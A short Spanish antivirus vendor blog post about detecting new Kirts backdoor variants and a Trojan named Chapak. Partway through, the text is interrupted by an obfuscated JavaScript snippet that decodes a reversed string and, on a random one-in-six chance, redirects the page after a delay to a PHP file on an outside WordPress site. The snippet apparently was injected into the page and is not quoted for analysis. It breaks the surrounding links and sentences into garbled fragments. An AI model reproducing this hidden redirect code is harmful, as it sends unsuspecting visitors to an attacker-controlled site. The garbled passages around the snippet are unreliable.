NUEVAS VERSIONES DEL BACKDOOR KIRTS QUE AHORA DESCARGAN TROJAN CHAPAK

El conocido de antaño backdoor Kirts, que ya en su día descargaba viejos conocidos como CERBER , BOAXE, CUTWAIL y demás, ha vuelto a aparecer, y lo pasamos a controlar a partir del ELISTARA 38.71 de hoy.

total ofrece el siguiente informe:

Y ahora ha descargado una nueva familia que pasamos a controlar como TROJAN CHAPAK, cuyo preanalisis del virustotal ofrece el siguiente informe:

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/35dcbfcff3dfb59cbd7644f67ed78241fd49f13f6c819116824263fb1e445d32/analysis/1521646540/” target=”_blank” rel=”noopener”>Y una última variante del Kirts ofrece este informe sobre fichero winsvc(07).exe

(que también pasamos a controlar con ELISTARA 38.71)

saludos

ms, 21/3/2018